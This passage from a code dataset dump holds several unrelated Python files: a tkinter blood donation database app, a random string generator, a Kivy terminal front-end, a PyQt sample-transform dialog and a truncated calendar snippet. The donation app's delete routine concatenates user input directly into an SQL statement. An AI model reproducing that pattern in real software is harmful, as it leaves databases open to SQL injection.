str(record[8])+\" \"+str(record[0]) +\"\\t \" +str(record[1]) +\"\\t \"+str(record[2]) +\" \\t \" + str(record[3]) +\" \\t \"+str(record[4]) +\"\\t\"+str(record[5]) +\" \\t \"+str(record[6]) +\" \\t \"+str(record[7])+\"\\n\" \r\n \r\n\treqquery_label = Label(reqstat,text=print_reqrecord,font=(\"arabic\",\"18\",\"bold\"),bg='#49A',justify='left')\r\n\treqquery_label.grid(row=15,column=0,columnspan=2) \r\n \r\n \r\n\tconn.commit()\r\n\r\n\tconn.close()''' \r\n appLabel = Label(reqstat, text=\"SHOW REQUIRED LIST\",fg=\"#06a099\", width=40)\r\n appLabel.config(font=(\"Sylfaen\", 30))\r\n appLabel.pack()\r\n\r\n tree = ttk.Treeview(reqstat)\r\n tree[\"columns\"] = (\"zero\",\"one\", \"two\", \"three\", \"four\",\"five\",\"six\",\"seven\",\"eight\",\"nine\",\"ten\")\r\n tree.heading(\"zero\",text=\"ID\")\r\n tree.heading(\"one\", text=\"First Name\")\r\n tree.heading(\"two\", text=\"Last Name\")\r\n tree.heading(\"three\", text=\"Age\")\r\n tree.heading(\"four\", text=\"phone no\")\r\n tree.heading(\"five\", text=\"blood group\")\r\n tree.heading(\"six\", text=\"gender\")\r\n tree.heading(\"seven\", text=\"email id\")\r\n tree.heading(\"eight\", text=\"previously donated\") \r\n tree.column(\"zero\",width=50,anchor='center')\r\n tree.column(\"one\",width=100,anchor=\"center\")\r\n tree.column(\"two\",width=100,anchor=\"center\")\r\n tree.column(\"three\",width=100,anchor=\"center\")\r\n tree.column(\"four\",width=150,anchor=\"center\")\r\n tree.column(\"five\",width=100,anchor=\"center\")\r\n tree.column(\"six\",width=100,anchor=\"center\")\r\n tree.column(\"seven\",width=200,anchor=\"center\")\r\n tree.column(\"eight\",width=150,anchor=\"center\")\r\n \r\n \r\n c.execute(\"SELECT *,oid FROM bloodrequiredlist ;\")\r\n i = 0\r\n\r\n for row in c :\r\n tree.insert('',\"end\",i,text=\"\",values=(row[8],row[0],row[1],row[2],row[3],row[4],row[5],row[6],row[7]))\r\n i = i + 1\r\n\r\n tree.pack()\r\n conn.commit()\r\n conn.close()\r\n reqstat.mainloop()\r\n \r\n#delete from req list\r\ndef deletedreq():\r\n\treqdeler = Tk()\r\n\treqdeler.title('delete an entry ')\r\n\treqdeler.geometry('1500x1500')\r\n\treqdeler['bg']='orangered'\r\n\treqdelet=Label(reqdeler,text=\"please enter the id of the entry to be deleted from reqirement in the below box \",font=('arabic',\"20\",\"bold italic\"))\r\n\treqdelet['bg']='orangered'\r\n\treqdelet.grid(row=5,column=5,padx=10,pady=10)\r\n\treqdeletr=Entry(reqdeler,font=('arabic',\"20\",\"bold italic\"),width=29)\r\n\treqdeletr.grid(row=15,column=5,padx=10,pady=10)\r\n\tdef deleterow():\r\n\t\t#create databse\r\n\t\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\t\t#create cursor\r\n\t\tc=conn.cursor()\r\n\t\t#delete a record\r\n\t\tc.execute(\"DELETE from bloodrequiredlist WHERE oid = \" + reqdeletr.get())\r\n\t\tconn.commit()\r\n\t\tconn.close()\r\n\t\treqdeletr.delete(0,END)\r\n\t\ttkinter.messagebox.showinfo(\"successful\",\"your data has been deleted from the requirement databse \")\r\n\t\treqdeler.destroy()\r\n\treqrowdel=tkinter.Button(reqdeler, text='delete from list',font=('arabic',\"20\",\"bold italic\"),width=25,bd=5,height=1,bg='red',activebackground=\"blue\",command=deleterow).grid(row=16,column=5)\r\n\r\n#create database\r\ndef createdatabase():\r\n\timport sqlite3 \r\n\t#databse\r\n\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\tc = conn.cursor()\r\n\t#create table\r\n\tc.execute(\"\"\"CREATE TABLE IF NOT EXISTS blooddonationlist (\r\n firstname text,\r\n lastname text,\r\n age integer,\r\n phone_number integer,\r\n bloodgroup varchar,\r\n gender text,\r\n emailid varchar,\r\n feedback text,\r\n prevdon boolean\r\n )\"\"\"\r\n )\r\n\r\n\tconn.commit()\r\n\tconn.close()\r\n\ttkinter.messagebox.showinfo(\"successful\",\"you created table for blood donation list \")\r\n\tconn = sqlite3.connect('blooddonaterequiredlist.db')\r\n\tc = conn.cursor()\r\n\t#create table\r\n\tc.execute(\"\"\"CREATE TABLE IF NOT EXISTS bloodrequiredlist (\r\n firstname text,\r\n lastname text,\r\n age integer,\r\n phone_number integer,\r\n reqbloodgroup varchar,\r\n gender text,\r\n emailid varchar,\r\n everdonated text\r\n )\"\"\")\r\n\tconn.commit()\r\n\tconn.close()\r\n\ttkinter.messagebox.showinfo(\"successful\",\"you created table for blood required list \")\r\n\r\n\r\n#buttons\r\n\r\n#donate form\r\nb1=tkinter.Button(i, text='Donate Form',font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,activebackground=\"black\",activeforeground=\"white\",height=2,bg='light blue',command=donateblood,borderwidth=10).grid(row=7,column=1)\r\n#show donated list\r\nb2=tkinter.Button(i,text='Show Donated List',font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,activebackground=\"black\",activeforeground=\"white\",height=2,bg='aqua',command=showstats,borderwidth=10).grid(row=15,column=1)\r\n#delete from donated list button\r\nb3=tkinter.Button(i, text='Delete From Donated List',font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,height=2,bg='blue',activebackground=\"black\",activeforeground=\"white\",command=deleted,justify='center',borderwidth=10).grid(row=30,column=1)\r\n#request submitted\r\nb4=tkinter.Button(i,text=\"Request Submitted\",font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,height=2,bg=\"light green\",activebackground=\"black\",activeforeground=\"white\",command=requestcallback,borderwidth=10,justify='center').grid(row=7,column=2,columnspan=2)\r\n#already donated\r\nb5=tkinter.Button(i,text=\"Already Donated\",font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,height=2,bg=\"green\",activebackground=\"black\",activeforeground=\"white\",command=donatedcallback,borderwidth=10,justify='center').grid(row=15,column=2,columnspan=2)\r\n#close button\r\nb6=tkinter.Button(i, text='Close This Window',font=(\"arabic\",\"20\",\"bold\"),width=20,bd=5,height=2,bg='black',fg='white',activebackground=\"black\",activeforeground=\"white\",command=i.destroy,justify='center',borderwidth=10).grid(row=30,column=2,columnspan=2)\r\n#requirement form\r\nb7=tkinter.Button(i, text='Required Blood Form ',font=(\"arabic\",\"20\",\"bold\"),width=17,bd=5,height=2,bg='gold',activebackground=\"black\",activeforeground=\"white\",borderwidth=10,command=reqbloodform).grid(row=7,column=4)\r\n#show req list\r\nb8=tkinter.Button(i, text='Show Required List ',font=(\"arabic\",\"20\",\"bold\"),width=17,bd=5,height=2,bg='dark orange',activebackground=\"black\",activeforeground=\"white\",borderwidth=10,command=showreq).grid(row=15,column=4)\r\n#delete from requirement list\r\nb9=tkinter.Button(i, text='Delete From Req List',font=(\"arabic\",\"20\",\"bold\"),width=17,bd=5,height=2,bg='red',activebackground=\"black\",activeforeground=\"white\",command=deletedreq,justify='center',borderwidth=10).grid(row=30,column=4)\r\n#create database\r\nb10=tkinter.Button(i, text='Click Here To Create Database If You Are Using For The First Time',font=(\"arabic\",\"20\",\"bold\"),width=55,bd=5,height=2,bg='pink',activebackground=\"black\",activeforeground=\"red\",command=createdatabase,justify='center',borderwidth=10).grid(row=35,column=1,columnspan=4)\r\n\r\nLabel(i,text=\"\\n SPARE ONLY 15 MINUTES AND SAFE A LIFE \\nSTARVE A VAMPIRE , DONATE BLOOD\" ,font=(\"arabic\",\"20\",\"italic bold\"),bg='maroon',justify='center').grid(row=40,column=1,columnspan=4)\r\nLabel(i,text=\"YOU DON'T NEED SUPERPOWERS TO BE A HERO ,YOU CAN BECOME ONE BY DONATING BLOOD\",font=(\"arabic\",\"20\",\"bold\"),bg='maroon',justify='center').grid(row=41,column=1,columnspan=4)\r\ni['bg']='maroon'\r\ni.mainloop()","sub_path":"Python Blood donation management System/bdms.py","file_name":"bdms.py","file_ext":"py","file_size_in_byte":18933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"341475018","text":"import random\ndef get_yzm():\n yzm=[]\n for i in range(0,200):\n yz=''\n for j in range(0,10):\n ji=random.randint(97,122)\n yz=yz+chr(ji)\n yzm.append(yz)\n return yzm\nprint(get_yzm())","sub_path":"No.0001/No0001.py","file_name":"No0001.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"266202382","text":"\n\nimport kivy\nimport os\nfrom command import Commands\nfrom kivy.app import App\nfrom kivy.uix.button import Button\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\n\nCH = Commands()\n\ndef getdir():\n return os.getcwd()\n\nintrolabel = Label(text = getdir(), size_hint=(1, 0.1))\ntextInput = TextInput(multiline=False,size_hint=(1,0.1))\nresultLabel = Label(text = \"Output\", size_hint=(1,1))\n\ndef makefocus():\n textInput = TextInput(focus = True)\n\ndef on_enter(*kw):\n # Get results.\n out = CH.run_command(textInput.text)\n # Put result into the below label.\n resultLabel.text = out\n # Clear the TextView.\n textInput.text = \"\"\n introlabel.text = getdir()\n makefocus()\n\ndef on_focus(instance, value):\n if not value:\n textInput.focus = True\n\n\nclass MainInterface(BoxLayout):\n \"\"\"docstring for MainInterface\"\"\"\n\n def __init__(self, **kw):\n super(MainInterface, self).__init__(**kw)\n\n self.orientation = 'vertical'\n\n #btn1 = Button(text='Hello', size_hint=(1,0.5))\n #btn2 = Button(text='World')\n #self.add_widget(btn1)\n #self.add_widget(btn2)\n\n\n self.add_widget(introlabel)\n textInput.focus = True\n textInput.bind(on_text_validate=on_enter)\n textInput.bind(focus = on_focus)\n self.add_widget(textInput)\n self.add_widget(resultLabel)\n #\n #self.cols = 1\n #self.CommandPromt = TextInput(multiline = False)\n #self.add_widget(self.CommandPromt)\n\n\n\nclass RootTerminal(App):\n\n def build(self):\n return MainInterface()\n\n\n\n\n\nif __name__ == '__main__':\n RootTerminal().run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"136079482","text":"from enum import Enum, unique\nfrom PyQt5 import QtWidgets\nfrom sscanss.config import path_for\nfrom sscanss.core.geometry import BoundingBox, segment_triangle_intersection\nfrom sscanss.core.math import is_close, Matrix44, Plane, rotation_btw_vectors, Vector3\nfrom sscanss.core.util import TransformType, DockFlag, PlaneOptions\nfrom sscanss.ui.widgets import FormControl, FormGroup, create_tool_button, Banner\n\n\nclass TransformDialog(QtWidgets.QWidget):\n dock_flag = DockFlag.Upper\n\n def __init__(self, transform_type, parent):\n super().__init__(parent)\n self.parent = parent\n self.parent_model = parent.presenter.model\n self.parent.scenes.switchToSampleScene()\n self.type = transform_type\n\n self.main_layout = QtWidgets.QVBoxLayout()\n self.banner = Banner(Banner.Type.Info, self)\n self.main_layout.addWidget(self.banner)\n self.banner.hide()\n self.main_layout.addSpacing(10)\n\n title_label = QtWidgets.QLabel()\n title_label.setWordWrap(True)\n self.main_layout.addWidget(title_label)\n self.main_layout.addSpacing(10)\n self.tool = None\n\n self.createSampleComboBox()\n\n if self.type == TransformType.Rotate:\n title_label.setText('{} sample around X, Y, Z axis'.format(self.type.value))\n self.tool = RotateTool(self.combobox.currentText(), parent)\n self.main_layout.addWidget(self.tool)\n self.title = '{} Sample'.format(self.type.value)\n elif self.type == TransformType.Translate:\n title_label.setText('{} sample along X, Y, Z axis'.format(self.type.value))\n self.tool = TranslateTool(self.combobox.currentText(), parent)\n self.main_layout.addWidget(self.tool)\n self.title = '{} Sample'.format(self.type.value)\n elif self.type == TransformType.Custom:\n title_label.setText('Transform sample with arbitrary matrix')\n self.tool = CustomTransformTool(self.combobox.currentText(), parent)\n self.main_layout.addWidget(self.tool)\n self.title = 'Transform Sample with Matrix'\n elif self.type == TransformType.Origin:\n title_label.setText('Move origin with respect to sample bounds')\n self.tool = MoveOriginTool(self.combobox.currentText(), parent)\n self.main_layout.addWidget(self.tool)\n self.title = 'Move Origin to Sample'\n else:\n title_label.setText(('Define initial plane by selecting a minimum of 3 points using '\n 'the pick tool, then select final plane to rotate initial plane to.'))\n self.tool = PlaneAlignmentTool(self.combobox.currentText(), parent)\n self.main_layout.addWidget(self.tool)\n self.title = 'Rotate Sample by Plane Alignment'\n\n self.setLayout(self.main_layout)\n self.setMinimumWidth(450)\n\n self.combobox.activated[str].connect(self.changeSample)\n self.parent_model.sample_changed.connect(self.updateSampleList)\n\n if self.parent_model.sample and self.parent_model.fiducials.size == 0:\n self.banner.showMessage('It is recommended to add fiducial points before transforming the sample.',\n Banner.Type.Info)\n\n def closeEvent(self, event):\n self.tool.close()\n event.accept()\n\n def createSampleComboBox(self):\n self.combobox_container = QtWidgets.QWidget(self)\n layout = QtWidgets.QVBoxLayout()\n layout.setContentsMargins(0, 0, 0, 0)\n label = QtWidgets.QLabel('Sample:')\n self.combobox = QtWidgets.QComboBox()\n self.combobox.setView(QtWidgets.QListView())\n layout.addWidget(label)\n layout.addWidget(self.combobox)\n layout.addSpacing(5)\n self.updateSampleList()\n\n self.combobox_container.setLayout(layout)\n self.main_layout.addWidget(self.combobox_container)\n\n def updateSampleList(self):\n self.combobox.clear()\n sample_list = ['All', *self.parent_model.sample.keys()]\n self.combobox.addItems(sample_list)\n self.changeSample(self.combobox.currentText())\n if len(self.parent_model.sample) > 1:\n self.combobox_container.setVisible(True)\n else:\n self.combobox_container.setVisible(False)\n\n def changeSample(self, new_sample):\n if self.tool is not None:\n self.tool.selected_sample = new_sample\n\n\nclass RotateTool(QtWidgets.QWidget):\n def __init__(self, sample, parent):\n super().__init__()\n\n self.parent = parent\n\n self.main_layout = QtWidgets.QVBoxLayout()\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n unit = 'degrees'\n\n self.form_group = FormGroup()\n self.x_rotation = FormControl('X', 0.0, required=True, desc=unit, number=True)\n self.x_rotation.range(-360.0, 360.0)\n self.y_rotation = FormControl('Y', 0.0, required=True, desc=unit, number=True)\n self.y_rotation.range(-360.0, 360.0)\n self.z_rotation = FormControl('Z', 0.0, required=True, desc=unit, number=True)\n self.z_rotation.range(-360.0, 360.0)\n self.form_group.addControl(self.x_rotation)\n self.form_group.addControl(self.y_rotation)\n self.form_group.addControl(self.z_rotation)\n self.form_group.groupValidation.connect(self.formValidation)\n button_layout = QtWidgets.QHBoxLayout()\n self.execute_button = QtWidgets.QPushButton(TransformType.Rotate.value)\n self.execute_button.clicked.connect(self.executeButtonClicked)\n button_layout.addWidget(self.execute_button)\n button_layout.addStretch(1)\n\n self.main_layout.addWidget(self.form_group)\n self.main_layout.addLayout(button_layout)\n self.main_layout.addStretch(1)\n self.setLayout(self.main_layout)\n\n self.valid_sample = False\n self.selected_sample = sample\n\n @property\n def selected_sample(self):\n return self._selected_sample\n\n @selected_sample.setter\n def selected_sample(self, value):\n self._selected_sample = value\n self.valid_sample = True if self.parent.presenter.model.sample else False\n self.form_group.validateGroup()\n\n def formValidation(self, is_valid):\n if is_valid and self.valid_sample:\n self.execute_button.setEnabled(True)\n else:\n self.execute_button.setDisabled(True)\n\n def executeButtonClicked(self):\n angles = [self.x_rotation.value, self.y_rotation.value, self.z_rotation.value]\n if not is_close(angles, [0.0, 0.0, 0.0]):\n self.parent.presenter.transformSample(angles, self.selected_sample, TransformType.Rotate)\n\n\nclass TranslateTool(QtWidgets.QWidget):\n def __init__(self, sample, parent):\n super().__init__()\n\n self.parent = parent\n\n self.main_layout = QtWidgets.QVBoxLayout()\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n unit = 'mm'\n\n self.form_group = FormGroup()\n self.x_position = FormControl('X', 0.0, required=True, desc=unit, number=True)\n self.x_position.range(-10000.0, 10000.0)\n self.y_position = FormControl('Y', 0.0, required=True, desc=unit, number=True)\n self.y_position.range(-10000.0, 10000.0)\n self.z_position = FormControl('Z', 0.0, required=True, desc=unit, number=True)\n self.z_position.range(-10000.0, 10000.0)\n self.form_group.addControl(self.x_position)\n self.form_group.addControl(self.y_position)\n self.form_group.addControl(self.z_position)\n self.form_group.groupValidation.connect(self.formValidation)\n button_layout = QtWidgets.QHBoxLayout()\n self.execute_button = QtWidgets.QPushButton(TransformType.Translate.value)\n self.execute_button.clicked.connect(self.executeButtonClicked)\n button_layout.addWidget(self.execute_button)\n button_layout.addStretch(1)\n\n self.main_layout.addWidget(self.form_group)\n self.main_layout.addLayout(button_layout)\n self.main_layout.addStretch(1)\n self.setLayout(self.main_layout)\n\n self.valid_sample = False\n self.selected_sample = sample\n\n @property\n def selected_sample(self):\n return self._selected_sample\n\n @selected_sample.setter\n def selected_sample(self, value):\n self._selected_sample = value\n self.valid_sample = True if self.parent.presenter.model.sample else False\n self.form_group.validateGroup()\n\n def formValidation(self, is_valid):\n if is_valid and self.valid_sample:\n self.execute_button.setEnabled(True)\n else:\n self.execute_button.setDisabled(True)\n\n def executeButtonClicked(self):\n offset = [self.x_position.value, self.y_position.value, self.z_position.value]\n if not is_close(offset, [0.0, 0.0, 0.0]):\n self.parent.presenter.transformSample(offset, self.selected_sample, TransformType.Translate)\n\n\nclass CustomTransformTool(QtWidgets.QWidget):\n def __init__(self, sample, parent):\n super().__init__()\n\n self.parent = parent\n\n self.main_layout = QtWidgets.QVBoxLayout()\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n\n self.matrix = Matrix44.identity()\n self.show_matrix = QtWidgets.QPlainTextEdit(self.matrixToString())\n self.show_matrix.setLineWrapMode(QtWidgets.QPlainTextEdit.NoWrap)\n self.show_matrix.setReadOnly(True)\n self.main_layout.addWidget(self.show_matrix)\n\n self.invert_checkbox = QtWidgets.QCheckBox('Invert Transformation Matrix')\n self.main_layout.addWidget(self.invert_checkbox)\n\n button_layout = QtWidgets.QHBoxLayout()\n self.load_matrix = QtWidgets.QPushButton('Load Matrix')\n self.load_matrix.clicked.connect(self.loadMatrix)\n self.execute_button = QtWidgets.QPushButton('Apply Transform')\n self.execute_button.clicked.connect(self.executeButtonClicked)\n button_layout.addWidget(self.load_matrix)\n button_layout.addWidget(self.execute_button)\n button_layout.addStretch(1)\n\n self.main_layout.addLayout(button_layout)\n self.main_layout.addStretch(1)\n self.setLayout(self.main_layout)\n\n self.selected_sample = sample\n\n @property\n def selected_sample(self):\n return self._selected_sample\n\n @selected_sample.setter\n def selected_sample(self, value):\n self._selected_sample = value\n if self.parent.presenter.model.sample:\n self.execute_button.setEnabled(True)\n else:\n self.execute_button.setDisabled(True)\n\n def loadMatrix(self):\n matrix = self.parent.presenter.importTransformMatrix()\n if matrix is None:\n return\n self.matrix = matrix\n self.show_matrix.setPlainText(self.matrixToString())\n\n def matrixToString(self):\n result = []\n for row in self.matrix:\n for col in row:\n result.append(' {:>20.8f}'.format(col))\n result.append('\\n')\n return ''.join(result)\n\n def executeButtonClicked(self):\n matrix = self.matrix.inverse() if self.invert_checkbox.isChecked() else self.matrix\n if not is_close(matrix, Matrix44.identity()):\n self.parent.presenter.transformSample(matrix, self.selected_sample, TransformType.Custom)\n\n\nclass MoveOriginTool(QtWidgets.QWidget):\n @unique\n class MoveOptions(Enum):\n Center = 'Bound Center'\n Minimum = 'Bound Minimum'\n Maximum = 'Bound Maximum'\n\n @unique\n class IgnoreOptions(Enum):\n No_change = 'None'\n X = 'X'\n Y = 'Y'\n Z = 'Z'\n YZ = 'YZ'\n XY = 'XY'\n XZ = 'XZ'\n\n def __init__(self, sample, parent):\n super().__init__()\n\n self.parent = parent\n self.main_layout = QtWidgets.QVBoxLayout()\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n\n label = QtWidgets.QLabel('Move To:')\n self.move_combobox = QtWidgets.QComboBox()\n self.move_combobox.setView(QtWidgets.QListView())\n self.move_combobox.addItems([option.value for option in MoveOriginTool.MoveOptions])\n self.move_combobox.currentTextChanged.connect(self.move_options)\n self.main_layout.addWidget(label)\n self.main_layout.addWidget(self.move_combobox)\n self.main_layout.addSpacing(5)\n\n label = QtWidgets.QLabel('Ignore Axis:')\n self.ignore_combobox = QtWidgets.QComboBox()\n self.ignore_combobox.setView(QtWidgets.QListView())\n self.ignore_combobox.addItems([option.value for option in MoveOriginTool.IgnoreOptions])\n self.ignore_combobox.currentTextChanged.connect(self.ignore_options)\n self.main_layout.addWidget(label)\n self.main_layout.addWidget(self.ignore_combobox)\n self.main_layout.addSpacing(5)\n\n button_layout = QtWidgets.QHBoxLayout()\n self.execute_button = QtWidgets.QPushButton('Move Origin')\n self.execute_button.clicked.connect(self.executeButtonClicked)\n button_layout.addWidget(self.execute_button)\n button_layout.addStretch(1)\n self.main_layout.addLayout(button_layout)\n self.main_layout.addStretch(1)\n self.setLayout(self.main_layout)\n\n self.selected_sample = sample\n self.ignore_options(self.ignore_combobox.currentText())\n\n @property\n def selected_sample(self):\n return self._selected_sample\n\n @selected_sample.setter\n def selected_sample(self, value):\n self._selected_sample = value\n\n sample = self.parent.presenter.model.sample\n if not sample:\n self.bounding_box = None\n self.execute_button.setDisabled(True)\n return\n\n if value == 'All':\n self.bounding_box = BoundingBox.merge([s.bounding_box for s in sample.values()])\n else:\n self.bounding_box = self.parent.presenter.model.sample[value].bounding_box\n self.move_options(self.move_combobox.currentText())\n self.execute_button.setEnabled(True)\n\n def move_options(self, text):\n if self.bounding_box is None:\n return\n\n option = MoveOriginTool.MoveOptions(text)\n if option == MoveOriginTool.MoveOptions.Center:\n self.move_to = self.bounding_box.center\n elif option == MoveOriginTool.MoveOptions.Minimum:\n self.move_to = self.bounding_box.min\n else:\n self.move_to = self.bounding_box.max\n\n def ignore_options(self, text):\n option = MoveOriginTool.IgnoreOptions(text)\n if option == MoveOriginTool.IgnoreOptions.No_change:\n self.ignore = [False, False, False]\n elif option == MoveOriginTool.IgnoreOptions.X:\n self.ignore = [True, False, False]\n elif option == MoveOriginTool.IgnoreOptions.Y:\n self.ignore = [False, True, False]\n elif option == MoveOriginTool.IgnoreOptions.Z:\n self.ignore = [False, False, True]\n elif option == MoveOriginTool.IgnoreOptions.XY:\n self.ignore = [True, True, False]\n elif option == MoveOriginTool.IgnoreOptions.YZ:\n self.ignore = [False, True, True]\n else:\n self.ignore = [True, False, True]\n\n def executeButtonClicked(self):\n offset = [0.0 if ignore else -value for value, ignore in zip(self.move_to, self.ignore)]\n if not is_close(offset, [0.0, 0.0, 0.0]):\n self.parent.presenter.transformSample(offset, self.selected_sample, TransformType.Translate)\n\n\nclass PlaneAlignmentTool(QtWidgets.QWidget):\n def __init__(self, sample, parent):\n super().__init__()\n\n self.parent = parent\n\n self.main_layout = QtWidgets.QVBoxLayout()\n self.main_layout.setContentsMargins(0, 0, 0, 0)\n self.vertices = None\n self.initial_plane = None\n self.final_plane_normal = None\n\n layout = QtWidgets.QHBoxLayout()\n self.list_widget = QtWidgets.QListWidget()\n self.list_widget.setAlternatingRowColors(True)\n self.list_widget.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\n self.list_widget.setFixedHeight(150)\n self.list_widget.setSpacing(2)\n self.list_widget.itemSelectionChanged.connect(self.selection)\n\n layout.addWidget(self.list_widget)\n\n button_layout = QtWidgets.QVBoxLayout()\n self.select_button = create_tool_button(icon_path=path_for('select.png'), checkable=True, checked=True,\n status_tip=f'Normal scene manipulation with the mouse',\n tooltip='Normal Mode', style_name='ToolButton')\n self.select_button.clicked.connect(lambda: self.togglePicking(False))\n button_layout.addWidget(self.select_button)\n\n self.pick_button = create_tool_button(icon_path=path_for('point.png'), checkable=True,\n status_tip=f'Select 3D points that define the plane',\n tooltip='Pick Point Mode', style_name='ToolButton')\n\n self.pick_button.clicked.connect(lambda: self.togglePicking(True))\n button_layout.addWidget(self.pick_button)\n\n self.delete_button = create_tool_button(icon_path=path_for('cross.png'), style_name='ToolButton',\n status_tip=f'Remove selected points from the scene',\n tooltip='Delete Points')\n self.delete_button.clicked.connect(self.removePicks)\n button_layout.addWidget(self.delete_button)\n\n layout.addSpacing(10)\n layout.addLayout(button_layout)\n self.main_layout.addLayout(layout)\n self.main_layout.addSpacing(10)\n self.main_layout.addWidget(QtWidgets.QLabel('Select Final Plane:'))\n self.plane_combobox = QtWidgets.QComboBox()\n self.plane_combobox.setView(QtWidgets.QListView())\n self.plane_combobox.addItems([p.value for p in PlaneOptions])\n self.plane_combobox.currentTextChanged.connect(self.setPlane)\n self.main_layout.addWidget(self.plane_combobox)\n self.createCustomPlaneBox()\n self.setPlane(self.plane_combobox.currentText())\n\n button_layout = QtWidgets.QHBoxLayout()\n self.execute_button = QtWidgets.QPushButton('Align Planes')\n self.execute_button.clicked.connect(self.executeButtonClicked)\n button_layout.addWidget(self.execute_button)\n button_layout.addStretch(1)\n\n self.main_layout.addLayout(button_layout)\n self.main_layout.addStretch(1)\n\n self.setLayout(self.main_layout)\n self.parent.gl_widget.pick_added.connect(self.addPicks)\n\n self.selected_sample = sample\n\n def togglePicking(self, value):\n self.parent.gl_widget.picking = value\n if value:\n self.select_button.setChecked(False)\n self.pick_button.setChecked(True)\n else:\n self.select_button.setChecked(True)\n self.pick_button.setChecked(False)\n\n def createCustomPlaneBox(self):\n self.custom_plane_widget = QtWidgets.QWidget(self)\n layout = QtWidgets.QVBoxLayout()\n\n self.form_group = FormGroup(FormGroup.Layout.Horizontal)\n self.x_axis = FormControl('X', 1.0, required=True, number=True)\n self.x_axis.range(-1.0, 1.0)\n self.y_axis = FormControl('Y', 0.0, required=True, number=True)\n self.y_axis.range(-1.0, 1.0)\n self.z_axis = FormControl('Z', 0.0, required=True, number=True)\n self.z_axis.range(-1.0, 1.0)\n self.form_group.addControl(self.x_axis)\n self.form_group.addControl(self.y_axis)\n self.form_group.addControl(self.z_axis)\n self.form_group.groupValidation.connect(self.setCustomPlane)\n\n layout.addWidget(self.form_group)\n self.custom_plane_widget.setLayout(layout)\n self.custom_plane_widget.setVisible(False)\n self.main_layout.addWidget(self.custom_plane_widget)\n\n def setCustomPlane(self, is_valid):\n if is_valid:\n normal = Vector3([self.x_axis.value, self.y_axis.value, self.z_axis.value])\n length = normal.length\n if length > 1e-5:\n self.final_plane_normal = normal / length\n return\n else:\n self.x_axis.validation_label.setText('Bad Normal')\n\n self.final_plane_normal = None\n\n def setPlane(self, selected_text):\n if selected_text == PlaneOptions.Custom.value:\n self.custom_plane_widget.setVisible(True)\n return\n elif selected_text == PlaneOptions.XY.value:\n self.final_plane_normal = Vector3([0., 0., 1.])\n elif selected_text == PlaneOptions.XZ.value:\n self.final_plane_normal = Vector3([0., 1., 0.])\n else:\n self.final_plane_normal = Vector3([1., 0., 0.])\n\n self.custom_plane_widget.setVisible(False)\n\n @property\n def selected_sample(self):\n return self._selected_sample\n\n @selected_sample.setter\n def selected_sample(self, value):\n self._selected_sample = value\n\n sample = self.parent.presenter.model.sample\n if not sample:\n self.vertices = None\n self.execute_button.setDisabled(True)\n self.clearPicks()\n return\n\n if value == 'All':\n mesh = None\n for s in sample.values():\n if mesh is None:\n mesh = s.copy()\n else:\n mesh.append(s)\n else:\n mesh = self.parent.presenter.model.sample[value]\n\n self.vertices = mesh.vertices[mesh.indices].reshape(-1, 9)\n self.plane_size = mesh.bounding_box.radius\n self.sample_center = mesh.bounding_box.center\n self.execute_button.setEnabled(True)\n\n def selection(self):\n picks = self.parent.gl_widget.picks\n for i in range(self.list_widget.count()):\n picks[i][1] = self.list_widget.item(i).isSelected()\n self.parent.gl_widget.update()\n\n def addPicks(self, start, end):\n direction = end - start\n length = direction.length\n if length < 1e-5 or self.vertices is None:\n return\n direction /= length\n\n distances = segment_triangle_intersection(start, direction, length, self.vertices)\n if not distances:\n return\n\n point = start + direction * distances[0]\n self.list_widget.addItem('X: {:12.3f} Y: {:12.3f} Z: {:12.3f}'.format(*point))\n self.parent.gl_widget.picks.append([point, False])\n self.updateInitialPlane()\n\n def removePicks(self):\n model_index = [index.row() for index in self.list_widget.selectionModel().selectedIndexes()]\n model_index.sort(reverse=True)\n self.list_widget.selectionModel().reset()\n for index in model_index:\n del self.parent.gl_widget.picks[index]\n self.list_widget.takeItem(index)\n\n self.updateInitialPlane()\n\n def updateInitialPlane(self):\n if len(self.parent.gl_widget.picks) > 2:\n points = list(zip(*self.parent.gl_widget.picks))[0]\n self.initial_plane = Plane.fromBestFit(points)\n d = self.initial_plane.normal.dot(self.initial_plane.point - self.sample_center)\n self.initial_plane.point = self.sample_center + self.initial_plane.normal * d\n self.parent.scenes.drawPlane(self.initial_plane, 2 * self.plane_size, 2 * self.plane_size)\n else:\n self.initial_plane = None\n self.parent.scenes.removePlane()\n\n def closeEvent(self, event):\n self.parent.gl_widget.picking = False\n self.clearPicks()\n event.accept()\n\n def executeButtonClicked(self):\n if self.final_plane_normal is None or self.initial_plane is None:\n return\n\n matrix = Matrix44.identity()\n matrix[0:3, 0:3] = rotation_btw_vectors(self.initial_plane.normal, self.final_plane_normal)\n if not is_close(matrix, Matrix44.identity()):\n self.parent.presenter.transformSample(matrix, self.selected_sample, TransformType.Custom)\n self.clearPicks()\n\n def clearPicks(self):\n self.list_widget.clear()\n self.initial_plane = None\n self.parent.gl_widget.picks.clear()\n self.parent.scenes.removePlane()\n","sub_path":"sscanss/ui/dialogs/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":24434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"3393025","text":"import calendar\n\ndef find_five_sunday_months(year):\n calendar.setfirstweekday(calendar.SUNDAY)\n five_sunday_months = []\n for month in range(1, 13):\n calendar_month = calendar.monthcalendar(year, month)\n # If you're counting Sunday as the first day of the week, then any month that 